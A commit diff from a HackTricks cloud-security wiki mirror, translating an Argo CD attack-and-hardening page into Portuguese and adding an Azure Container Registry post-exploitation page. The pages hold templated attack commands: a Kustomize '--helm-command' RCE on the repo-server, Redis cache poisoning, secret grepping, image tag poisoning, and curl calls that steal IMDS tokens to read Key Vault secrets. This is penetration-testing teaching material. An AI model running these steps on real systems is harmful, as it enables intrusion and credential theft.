mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
Binary file not shown.
@@ -1,19 +1,19 @@
|
|||||||
# Argo CD Security
|
# Segurança do Argo CD
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações básicas
|
||||||
|
|
||||||
[Argo CD](https://argo-cd.readthedocs.io/) é uma plataforma de continuous delivery GitOps para Kubernetes. Ela monitora repositórios Git, renderiza manifests do Kubernetes com ferramentas como Helm, Kustomize, Jsonnet ou config management plugins, e reconcilia o estado atual do cluster com o estado desejado armazenado no Git.
|
[Argo CD](https://argo-cd.readthedocs.io/) é uma plataforma de entrega contínua GitOps para Kubernetes. Ela monitora repositórios Git, renderiza manifests do Kubernetes com ferramentas como Helm, Kustomize, Jsonnet ou plugins de gerenciamento de configuração, e reconcilia o estado atual do cluster com o estado desejado armazenado no Git.
|
||||||
|
|
||||||
Da perspectiva de um attacker, trate o Argo CD como um **deployment engine com credenciais do Kubernetes**. Um compromise útil do Argo CD pode levar a:
|
Do ponto de vista de um atacante, trate o Argo CD como um **deployment engine com credenciais do Kubernetes**. Um comprometimento útil do Argo CD pode levar a:
|
||||||
|
|
||||||
- Acesso a repositórios Git privados e credenciais de repositório.
|
- Acesso a repositórios Git privados e às credenciais dos repositórios.
|
||||||
- Acesso a secrets do cluster Kubernetes usados pelo Argo CD.
|
- Acesso aos secrets do cluster Kubernetes usados pelo Argo CD.
|
||||||
- Execução de código na geração de manifests em `argocd-repo-server`.
|
- Execução de código na geração de manifests em `argocd-repo-server`.
|
||||||
- Deployment não autorizado de objetos do Kubernetes por meio de repositórios Git confiáveis, applications do Argo CD ou manipulação de cache.
|
- Deployment não autorizado de objetos do Kubernetes por meio de repositórios Git confiáveis, aplicações do Argo CD ou manipulação do cache.
|
||||||
|
|
||||||
## Arquitetura & Componentes Interessantes
|
## Arquitetura e componentes interessantes
|
||||||
|
|
||||||
Objetos e serviços comuns do Kubernetes:
|
Objetos e serviços comuns do Kubernetes:
|
||||||
```bash
|
```bash
|
||||||
@@ -24,19 +24,19 @@ kubectl get networkpolicy -n argocd 2>/dev/null
|
|||||||
```
|
```
|
||||||
Serviços interessantes:
|
Serviços interessantes:
|
||||||
|
|
||||||
- **`argocd-server`**: API pública, web UI, CLI API, autenticação e autorização.
|
- **`argocd-server`**: API pública, interface web, API da CLI, autenticação e autorização.
|
||||||
- **`argocd-application-controller`**: compara o estado desejado e o estado em execução, depois aplica recursos ao Kubernetes.
|
- **`argocd-application-controller`**: compara o estado desejado e o estado real, depois aplica recursos ao Kubernetes.
|
||||||
- **`argocd-repo-server`**: clona repositórios, faz cache de dados Git e executa Helm/Kustomize/Jsonnet/plugins para gerar manifests. A porta gRPC padrão é **8081**.
|
- **`argocd-repo-server`**: clona repositórios, armazena dados do Git em cache e executa Helm/Kustomize/Jsonnet/plugins para gerar manifests. A porta gRPC padrão é **8081**.
|
||||||
- **`argocd-redis`**: cache para dados de application, manifest e Git reference. A porta Redis padrão é **6379**.
|
- **`argocd-redis`**: cache para dados de aplicações, manifests e referências do Git. A porta Redis padrão é **6379**.
|
||||||
- **`argocd-applicationset-controller`**: gera objetos Argo CD `Application` a partir de generators como Git, SCM, clusters e pull requests.
|
- **`argocd-applicationset-controller`**: gera objetos `Application` do Argo CD a partir de generators como Git, SCM, clusters e pull requests.
|
||||||
|
|
||||||
A partir de um pod comprometido ou de um segmento de rede interno, verifique a acessibilidade interna:
|
A partir de um pod comprometido ou de um segmento de rede interno, verifique a reachability interna:
|
||||||
```bash
|
```bash
|
||||||
nc -vz <argocd-server> 443
|
nc -vz <argocd-server> 443
|
||||||
nc -vz <argocd-repo-server> 8081
|
nc -vz <argocd-repo-server> 8081
|
||||||
nc -vz <argocd-redis> 6379
|
nc -vz <argocd-redis> 6379
|
||||||
```
|
```
|
||||||
## Public API / UI Attacks
|
## Ataques à API / UI pública
|
||||||
|
|
||||||
Se você tiver credenciais do Argo CD ou uma instância exposta, comece pela superfície normal da API:
|
Se você tiver credenciais do Argo CD ou uma instância exposta, comece pela superfície normal da API:
|
||||||
```bash
|
```bash
|
||||||
@@ -51,13 +51,13 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
|
|||||||
```
|
```
|
||||||
Caminhos de ataque úteis:
|
Caminhos de ataque úteis:
|
||||||
|
|
||||||
- **Application write access**: modificar `source.repoURL`, `source.path`, valores do Helm, opções do Kustomize, configurações do plugin ou opções de sync para fazer o Argo CD deploy de manifests controlados pelo atacante.
|
- **Acesso de escrita à Application**: modifique `source.repoURL`, `source.path`, valores do Helm, opções do Kustomize, configurações de plugins ou opções de sincronização para que o Argo CD faça deploy de manifests controlados pelo atacante.
|
||||||
- **Project misconfiguration**: objetos `AppProject` podem permitir `sourceRepos` amplos, `destinations` amplos, `clusterResourceWhitelist` inseguro, ou restrições fracas de namespace.
|
- **Configuração incorreta do Project**: objetos `AppProject` podem permitir `sourceRepos` amplos, `destinations` amplos, `clusterResourceWhitelist` inseguro ou restrições fracas de namespace.
|
||||||
- **Repository credential abuse**: secrets de repositório, credenciais de GitHub App, chaves SSH e tokens podem permitir push para repos confiáveis ou adicionar dependências maliciosas.
|
- **Abuso de credenciais do repositório**: secrets do repositório, credenciais do GitHub App, chaves SSH e tokens podem permitir fazer push em repositórios confiáveis ou adicionar dependências maliciosas.
|
||||||
- **Cluster credential abuse**: secrets de cluster podem conter bearer tokens ou configuração de exec-provider usada pelo Argo CD para fazer deploy em target clusters.
|
- **Abuso de credenciais do cluster**: secrets do cluster podem conter bearer tokens ou configurações de exec-provider usadas pelo Argo CD para fazer deploy nos clusters-alvo.
|
||||||
- **Local admin / project tokens**: tokens do Argo CD de longa duração podem ser reutilizados pela API, a menos que sejam revogados ou expirem.
|
- **Tokens de admin local / Project**: tokens de longa duração do Argo CD podem ser reutilizados pela API, a menos que sejam revogados ou expirem.
|
||||||
|
|
||||||
Enumere a configuração do Kubernetes quando você tiver cluster read access:
|
Enumere a configuração do Kubernetes quando tiver acesso de leitura ao cluster:
|
||||||
```bash
|
```bash
|
||||||
kubectl get applications.argoproj.io -A -o yaml
|
kubectl get applications.argoproj.io -A -o yaml
|
||||||
kubectl get appprojects.argoproj.io -A -o yaml
|
kubectl get appprojects.argoproj.io -A -o yaml
|
||||||
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
|
|||||||
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
|
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
|
||||||
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
|
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
|
||||||
```
|
```
|
||||||
## Abuso de Trusted Git Repository
|
## Abuso de Repositório Git Confiável
|
||||||
|
|
||||||
Se você pode fazer push para um repository trusted pelo Argo CD, normalmente consegue influenciar o que é deployed. O impacto depende dos limites do `AppProject` e das permissões da service account usadas pelo application controller.
|
Se você puder fazer push para um repositório confiável pelo Argo CD, normalmente poderá influenciar o que é implantado. O impacto depende dos limites do `AppProject` e das permissões da service account usadas pelo application controller.
|
||||||
|
|
||||||
Locais comuns de payload:
|
Locais comuns para payloads:
|
||||||
|
|
||||||
- Raw Kubernetes YAML sob um caminho da application.
|
- YAML bruto do Kubernetes em um caminho da aplicação.
|
||||||
- Templates de Helm chart e `values.yaml`.
|
- Templates de Helm chart e `values.yaml`.
|
||||||
- Kustomize overlays, remote bases e generators.
|
- Overlays do Kustomize, bases remotas e generators.
|
||||||
- Jsonnet ou input de config management plugin.
|
- Entrada do Jsonnet ou de plugins de gerenciamento de configuração.
|
||||||
- Arquivos de generator do ApplicationSet que criam ou atualizam objetos `Application`.
|
- Arquivos de generator do ApplicationSet que criam ou atualizam objetos `Application`.
|
||||||
|
|
||||||
Verifique se a app usa automated sync, pruning, self-heal, sync windows ou manual approvals:
|
Verifique se a aplicação usa sync automatizado, pruning, self-heal, sync windows ou aprovações manuais:
|
||||||
```bash
|
```bash
|
||||||
kubectl get applications.argoproj.io -A \
|
kubectl get applications.argoproj.io -A \
|
||||||
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
|
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
|
||||||
```
|
```
|
||||||
## Abuso direto de `argocd-repo-server`
|
## Abuso direto do `argocd-repo-server`
|
||||||
|
|
||||||
Não presuma que a API pública do Argo CD é a única superfície de ataque. Componentes internos do Argo CD se comunicam com `argocd-repo-server` via gRPC. Se pods arbitrários conseguirem alcançar o repo-server, requisições internas controladas pelo atacante podem contornar verificações normalmente aplicadas por `argocd-server`.
|
Não presuma que a API pública do Argo CD seja a única superfície de ataque. Os componentes internos do Argo CD se comunicam com o `argocd-repo-server` por gRPC. Se pods arbitrários puderem alcançar o repo-server, requisições internas controladas pelo atacante poderão contornar verificações normalmente aplicadas pelo `argocd-server`.
|
||||||
|
|
||||||
Verificações práticas:
|
Verificações práticas:
|
||||||
```bash
|
```bash
|
||||||
@@ -94,20 +94,20 @@ nc -vz <argocd-repo-server> 8081
|
|||||||
```
|
```
|
||||||
Sinais interessantes:
|
Sinais interessantes:
|
||||||
|
|
||||||
- O endpoint gRPC do repo-server é acessível a partir de pods que não são do Argo CD.
|
- O endpoint gRPC do repo-server pode ser acessado a partir de pods que não pertencem ao Argo CD.
|
||||||
- NetworkPolicies estão ausentes ou só permitem allow-list de egress sem negar ingress.
|
- NetworkPolicies estão ausentes ou apenas permitem egress por allow-list, sem negar ingress.
|
||||||
- O repo-server tem acesso a custom config management plugins, decryption tools, ou conteúdo de repository de múltiplos tenants.
|
- O repo-server tem acesso a plugins personalizados de gerenciamento de configuração, ferramentas de descriptografia ou conteúdo de repositórios de múltiplos tenants.
|
||||||
- Redis é acessível a partir de pods que não são do Argo CD, permitindo inspeção ou tampering do cache se credenciais estiverem disponíveis ou não forem necessárias.
|
- O Redis pode ser acessado a partir de pods que não pertencem ao Argo CD, permitindo a inspeção ou adulteração do cache caso as credenciais estejam disponíveis ou não sejam necessárias.
|
||||||
|
|
||||||
## Unauthenticated Repo-Server RCE via Kustomize Options
|
## RCE não autenticado no Repo-Server via opções do Kustomize
|
||||||
|
|
||||||
Em julho de 2026, a Synacktiv divulgou uma cadeia de execução de código não autenticada no `repo-server` do Argo CD quando um atacante consegue alcançar o serviço gRPC interno. O ataque abusa do acesso direto a `/repository.RepoServerService/GenerateManifest` e de `KustomizeOptions` controladas pelo atacante.
|
Em julho de 2026, a Synacktiv divulgou uma cadeia de execução de código não autenticada no `repo-server` do Argo CD quando um atacante consegue acessar o serviço gRPC interno. O ataque abusa do acesso direto a `/repository.RepoServerService/GenerateManifest` e de `KustomizeOptions` controladas pelo atacante.
|
||||||
|
|
||||||
O primitive perigoso é forçar o repo-server a clonar conteúdo de repository controlado pelo atacante e executar Kustomize com suporte a Helm:
|
A primitiva perigosa consiste em forçar o repo-server a clonar conteúdo de um repositório controlado pelo atacante e executar o Kustomize com suporte ao Helm:
|
||||||
```bash
|
```bash
|
||||||
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
|
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
|
||||||
```
|
```
|
||||||
Entrada maliciosa mínima do Kustomize precisa acionar o processamento do Helm:
|
Entrada maliciosa mínima do Kustomize necessária para acionar o processamento do Helm:
|
||||||
```yaml
|
```yaml
|
||||||
helmCharts:
|
helmCharts:
|
||||||
- name: pwn
|
- name: pwn
|
||||||
@@ -117,13 +117,13 @@ Por que isso funciona:
|
|||||||
|
|
||||||
- `argocd-repo-server` clona o repositório antes de renderizar.
|
- `argocd-repo-server` clona o repositório antes de renderizar.
|
||||||
- `--helm-command ./payload.sh` é resolvido em relação ao repositório clonado.
|
- `--helm-command ./payload.sh` é resolvido em relação ao repositório clonado.
|
||||||
- A execução de código não requer injeção de metacaracteres de shell se o atacante puder controlar o repositório renderizado e as opções de build do Kustomize.
|
- A execução de código não exige injeção de metacaracteres do shell se o atacante puder controlar o repositório renderizado e as opções de build do Kustomize.
|
||||||
|
|
||||||
No momento da divulgação da Synacktiv em 1 de julho de 2026, eles relataram que a issue não tinha correção oficial nem CVE. Trate isso primeiro como um problema de exposição de rede: a exploração exige alcance ao port gRPC interno do repo-server.
|
No momento da divulgação pela Synacktiv, em 1º de julho de 2026, eles relataram que o problema não tinha correção oficial nem CVE. Trate isso primeiro como um problema de exposição de rede: a exploração exige acessibilidade à porta gRPC interna do repo-server.
|
||||||
|
|
||||||
## Redis Cache Poisoning to Deploy Manifests
|
## Redis Cache Poisoning to Deploy Manifests
|
||||||
|
|
||||||
Após execução de código em `argocd-repo-server`, ou após acesso direto ao Redis com credenciais válidas, inspecione entradas de cache baseadas em Redis. O Argo CD normalmente armazena valores JSON compactados com gzip.
|
Após a execução de código no `argocd-repo-server`, ou após o acesso direto ao Redis com credenciais válidas, inspecione as entradas de cache armazenadas no Redis. O Argo CD normalmente armazena valores JSON compactados com gzip.
|
||||||
|
|
||||||
Prefixos de chave interessantes:
|
Prefixos de chave interessantes:
|
||||||
```text
|
```text
|
||||||
@@ -132,33 +132,33 @@ git-refs|... # Git branch/ref to commit mappings
|
|||||||
app|... # application resource/cache data
|
app|... # application resource/cache data
|
||||||
cluster|... # cluster cache information
|
cluster|... # cluster cache information
|
||||||
```
|
```
|
||||||
O ataque de cache poisoning descrito por Synacktiv abusa de duas peças de estado:
|
O ataque de cache poisoning descrito pela Synacktiv abusa de duas partes do estado:
|
||||||
|
|
||||||
1. Modificar a entrada de cache do manifesto relevante `mfst|...` para incluir um manifesto Kubernetes controlado pelo atacante.
|
1. Modificar a entrada de cache de manifesto `mfst|...` relevante para incluir um manifesto Kubernetes controlado pelo atacante.
|
||||||
2. Modificar o mapeamento relacionado `git-refs|...` para que o Argo CD acredite que a branch mudou e então faça reconcile de volta para a revisão em cache.
|
2. Modificar o mapeamento `git-refs|...` relacionado para fazer o Argo CD acreditar que a branch foi alterada e, em seguida, reconciliar novamente com a revisão armazenada em cache.
|
||||||
|
|
||||||
Impacto:
|
Impacto:
|
||||||
|
|
||||||
- Com Auto Sync habilitado, o Argo CD pode aplicar automaticamente o manifesto em cache corrompido.
|
- Com o Auto Sync habilitado, o Argo CD pode aplicar automaticamente o manifesto armazenado em cache e envenenado.
|
||||||
- Sem Auto Sync, o payload ainda pode ser aplicado quando um usuário fizer sync manual da aplicação.
|
- Sem o Auto Sync, o payload ainda poderá ser aplicado quando um usuário sincronizar manualmente a aplicação.
|
||||||
- O impacto final é limitado pelo destino da aplicação alvo e pelas permissões Kubernetes disponíveis para o Argo CD.
|
- O impacto final é limitado pelo destino da aplicação-alvo e pelas permissões Kubernetes disponíveis para o Argo CD.
|
||||||
|
|
||||||
## ApplicationSet Attacks
|
## Ataques do ApplicationSet
|
||||||
|
|
||||||
ApplicationSet é especialmente sensível porque cria ou atualiza objetos `Application` a partir da saída do generator.
|
O ApplicationSet é especialmente sensível porque cria ou atualiza objetos `Application` a partir da saída do gerador.
|
||||||
|
|
||||||
Review:
|
Revisão:
|
||||||
```bash
|
```bash
|
||||||
kubectl get applicationsets.argoproj.io -A -o yaml
|
kubectl get applicationsets.argoproj.io -A -o yaml
|
||||||
kubectl get appprojects.argoproj.io -A -o yaml
|
kubectl get appprojects.argoproj.io -A -o yaml
|
||||||
```
|
```
|
||||||
Padrões interessantes:
|
Padrões interessantes:
|
||||||
|
|
||||||
- Git generators lendo arquivos graváveis por attacker que controlam nomes de app, paths, projects ou destinations.
|
- Git generators lendo arquivos graváveis pelo atacante que controlam nomes de aplicações, paths, projetos ou destinos.
|
||||||
- Pull request generators para repositórios públicos onde contributors não confiáveis podem influenciar aplicações geradas.
|
- Pull request generators para repositórios públicos nos quais contribuidores não confiáveis podem influenciar as aplicações geradas.
|
||||||
- Campos de template que permitem broad destination clusters/namespaces.
|
- Campos de template que permitem clusters/destinos amplos e namespaces.
|
||||||
- AppProjects que permitem `sourceRepos: ["*"]` ou broad `destinations`.
|
- AppProjects que permitem `sourceRepos: ["*"]` ou `destinations` amplos.
|
||||||
- Aplicações geradas que herdam automated sync e pruning.
|
- Aplicações geradas que herdam sincronização e pruning automatizados.
|
||||||
|
|
||||||
## Post-Exploitation
|
## Post-Exploitation
|
||||||
|
|
||||||
@@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config'
|
|||||||
```
|
```
|
||||||
Objetivos úteis:
|
Objetivos úteis:
|
||||||
|
|
||||||
- Roubar `REDIS_PASSWORD` ou material TLS/client do Redis.
|
- Roubar `REDIS_PASSWORD` ou material de cliente/TLS do Redis.
|
||||||
- Extrair credenciais de repositório de secrets montados ou de secrets do Kubernetes do Argo CD.
|
- Extrair credenciais de repositórios a partir de secrets montados ou secrets do Kubernetes do Argo CD.
|
||||||
- Identificar credenciais do cluster usadas pelo Argo CD.
|
- Identificar as credenciais de cluster usadas pelo Argo CD.
|
||||||
- Ler manifests gerados e saída de plugin que podem incluir secrets injetados.
|
- Ler manifests gerados e a saída de plugins que possam incluir secrets injetados.
|
||||||
- Verificar se custom plugins, SOPS, Helm secrets, plugins do Vault ou cloud CLIs expõem chaves de decryption e credenciais de cloud.
|
- Verificar se plugins personalizados, SOPS, Helm secrets, plugins do Vault ou cloud CLIs expõem chaves de decriptação e credenciais de cloud.
|
||||||
|
|
||||||
## Detection & Hardening
|
## Detecção e Hardening
|
||||||
|
|
||||||
Checks importantes:
|
Verificações importantes:
|
||||||
|
|
||||||
- Restrinja a porta **8081** do `argocd-repo-server` e a porta **6379** do Redis com NetworkPolicies para que apenas os componentes esperados do Argo CD possam acessá-los.
|
- Restringir a porta **8081** do `argocd-repo-server` e a porta **6379** do Redis com NetworkPolicies, permitindo acesso apenas aos componentes esperados do Argo CD.
|
||||||
- Em implantações Helm, verifique se as network policies estão realmente sendo criadas. Os valores do chart Helm do Argo CD historicamente vinham com a criação de network policy dos componentes desativada por padrão.
|
- Em deployments do Helm, verificar se as network policies são realmente criadas. Os valores do Helm chart do Argo CD historicamente deixaram a criação de network policies dos componentes desabilitada por padrão.
|
||||||
- Mantenha `argocd-server` como o ponto de entrada autenticado. Serviços internos não devem estar acessíveis a workloads arbitrários.
|
- Manter o `argocd-server` como ponto de entrada autenticado. Os serviços internos não devem ser acessíveis a workloads arbitrários.
|
||||||
- Desative ferramentas e plugins de config management não usados.
|
- Desabilitar ferramentas e plugins de gerenciamento de configuração não utilizados.
|
||||||
- Restrinja `AppProject` `sourceRepos`, `destinations`, permissões de namespace e recursos cluster-scoped.
|
- Restringir `sourceRepos`, `destinations`, permissões de namespace e recursos com escopo de cluster do `AppProject`.
|
||||||
- Evite armazenar credenciais amplas de repositório onde um usuário do Argo CD com pouco privilégio possa fazer com que sejam reutilizadas.
|
- Evitar armazenar credenciais amplas de repositórios onde um usuário do Argo CD com poucos privilégios possa causar sua reutilização.
|
||||||
- Monitore requests do repo-server, opções de build do Kustomize, execuções de plugin, writes no Redis e acesso inesperado a chaves `mfst|` / `git-refs|`.
|
- Monitorar requisições ao repo-server, opções de build do Kustomize, execuções de plugins, gravações no Redis e acessos inesperados às chaves `mfst|` / `git-refs|`.
|
||||||
- Faça rotate de usuários locais do Argo CD, tokens de projeto, credenciais de repositório e credenciais de cluster após compromise.
|
- Rotacionar usuários locais do Argo CD, tokens de projeto, credenciais de repositórios e credenciais de cluster após um comprometimento.
|
||||||
|
|
||||||
Useful commands:
|
Comandos úteis:
|
||||||
```bash
|
```bash
|
||||||
kubectl get networkpolicy -n argocd
|
kubectl get networkpolicy -n argocd
|
||||||
kubectl get networkpolicy -A | grep -i argocd
|
kubectl get networkpolicy -A | grep -i argocd
|
||||||
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
|
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
|
||||||
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
|
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
|
||||||
```
|
```
|
||||||
## Nota de Static Analysis: Typed API Requests em CodeQL
|
## Nota de Análise Estática: Typed API Requests no CodeQL
|
||||||
|
|
||||||
Para serviços Go usando handlers gRPC/REST, as default CodeQL remote sources podem perder flows depois que o raw input é unmarshaled em typed request objects. Um modelo útil para serviços no estilo Argo CD é:
|
Para serviços Go que usam handlers gRPC/REST, as remote sources padrão do CodeQL podem não identificar os flows depois que a entrada bruta é unmarshaled em objetos de request tipados. Um modelo útil para serviços no estilo do Argo CD é:
|
||||||
|
|
||||||
- Receiver type como `Server` ou `Service`.
|
- Tipo do receiver, como `Server` ou `Service`.
|
||||||
- O primeiro parâmetro é `context.Context`.
|
- O primeiro parâmetro é `context.Context`.
|
||||||
- O segundo parâmetro é um typed request object.
|
- O segundo parâmetro é um objeto de request tipado.
|
||||||
|
|
||||||
Modele esse segundo parâmetro como um remote source e adicione custom sinks para argumentos de `exec.Command` / `exec.CommandContext`. Isso ajuda a encontrar flows de campos de internal API request para command execution helpers.
|
Modele esse segundo parâmetro como uma remote source e adicione sinks personalizados para os argumentos de `exec.Command` / `exec.CommandContext`. Isso ajuda a encontrar flows dos campos de requests de APIs internas até os helpers de execução de comandos.
|
||||||
|
|
||||||
## References
|
## Referências
|
||||||
|
|
||||||
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
||||||
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
- [Documentação do Argo CD - Considerações de segurança](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
||||||
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
|
- [Documentação do Argo CD - Alta disponibilidade](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
|
||||||
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
|
- [Documentação do Argo CD - Referência de comandos do repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
|
||||||
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
|
- [Argo CD - Manifesto de NetworkPolicy do repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
|
||||||
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
|
- [Documentação do Argo CD - Métricas](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
|
||||||
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
|
- [Argo Helm - Referência de valores do chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
|
||||||
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
|
- [Kustomize - Exemplo de gerador de chart Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -6,4 +6,8 @@
|
|||||||
az-azure-ai-foundry-post-exploitation.md
|
az-azure-ai-foundry-post-exploitation.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
az-container-registry-post-exploitation.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
+87
@@ -0,0 +1,87 @@
|
|||||||
|
# Az - Pós-exploração do Container Registry
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Azure Container Registry
|
||||||
|
|
||||||
|
Para mais informações sobre este serviço, consulte:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../az-services/az-container-registry.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
|
||||||
|
|
||||||
|
Uma identidade com acesso ao plano de gerenciamento do ACR pode converter esse acesso em **credenciais Docker reutilizáveis**. Se o **admin user** estiver desabilitado, mas o principal também tiver `registries/write`, habilite-o, recupere as senhas e autentique-se diretamente em `<registry>.azurecr.io`.
|
||||||
|
```bash
|
||||||
|
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
|
||||||
|
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
|
||||||
|
az acr credential show -n <registry-name>
|
||||||
|
docker login <registry-name>.azurecr.io -u <username> -p <password>
|
||||||
|
```
|
||||||
|
Isso é útil porque as credenciais recuperadas podem ser reutilizadas fora do Azure CLI para **list, pull, push, overwrite e, às vezes, delete** do conteúdo do registry até que a conta de administrador seja desabilitada ou as senhas sejam rotacionadas.
|
||||||
|
|
||||||
|
### `Microsoft.ContainerRegistry/registries/pull/read`
|
||||||
|
|
||||||
|
Use o acesso `pull` para **reconhecimento de repositórios** e **secret hunting** dentro das imagens. Revise tanto a configuração final do container quanto as camadas históricas do filesystem, pois os arquivos copiados em uma camada podem continuar recuperáveis mesmo que sejam excluídos posteriormente.
|
||||||
|
```bash
|
||||||
|
az acr repository list -n <registry-name>
|
||||||
|
az acr repository show-tags -n <registry-name> --repository <repository> --detail
|
||||||
|
docker pull <registry-name>.azurecr.io/<repository>:<tag>
|
||||||
|
|
||||||
|
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
|
||||||
|
docker cp "$container_id":/ ./extracted_container
|
||||||
|
docker rm "$container_id"
|
||||||
|
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
|
||||||
|
dive <registry-name>.azurecr.io/<repository>:<tag>
|
||||||
|
```
|
||||||
|
Alvos de alto valor incluem **variáveis de ambiente**, **configs da aplicação**, **scripts de deployment**, **certificados**, **tokens de acesso** e **connection strings**. Para obter mais ideias ao revisar as layers, consulte a página de Docker forensics:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### `Microsoft.ContainerRegistry/registries/push/write`
|
||||||
|
|
||||||
|
O acesso de push permite que um atacante **envenene repositórios confiáveis** ou **sobrescreva tags mutáveis** como `latest`, `prod` ou `stable`. Qualquer workload que ainda faça deployment por tag em vez de digest poderá baixar a imagem do atacante no próximo deployment, evento de scale-out ou restart.
|
||||||
|
```bash
|
||||||
|
# Retag an existing local image for the target ACR
|
||||||
|
|
||||||
|
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||||
|
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||||
|
|
||||||
|
# If your workstation architecture differs from the target runtime, build for the consumer platform first
|
||||||
|
|
||||||
|
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
|
||||||
|
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||||
|
```
|
||||||
|
Antes de substituir uma tag, verifique quais repositórios e tags são realmente consumidos pelas cargas de trabalho downstream. Consumidores **fixados por digest** (`@sha256:...`) são muito mais difíceis de redirecionar do que consumidores baseados em tags.
|
||||||
|
|
||||||
|
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
|
||||||
|
|
||||||
|
Se você puder **substituir a imagem** usada por uma carga de trabalho de container downstream e **reiniciar** essa carga, o entrypoint malicioso será executado dentro do **contexto de rede e identidade gerenciada** do container-alvo. A partir daí, a imagem poderá solicitar tokens do IMDS e acessar recursos do Azure alcançáveis pela identidade dessa carga de trabalho.
|
||||||
|
```bash
|
||||||
|
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
|
||||||
|
curl -H "Authorization: Bearer $TOKEN" \
|
||||||
|
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
|
||||||
|
az container restart --resource-group <resource-group> --name <container-name>
|
||||||
|
```
|
||||||
|
Isso transforma uma sobrescrita de tag do ACR em **execução de código**, **roubo de secrets** ou **movimentação lateral** dentro de qualquer consumer de container que confie na tag modificada e exponha uma identidade útil.
|
||||||
|
|
||||||
|
### Caminho de privesc relacionado: managed identities do ACR Tasks
|
||||||
|
|
||||||
|
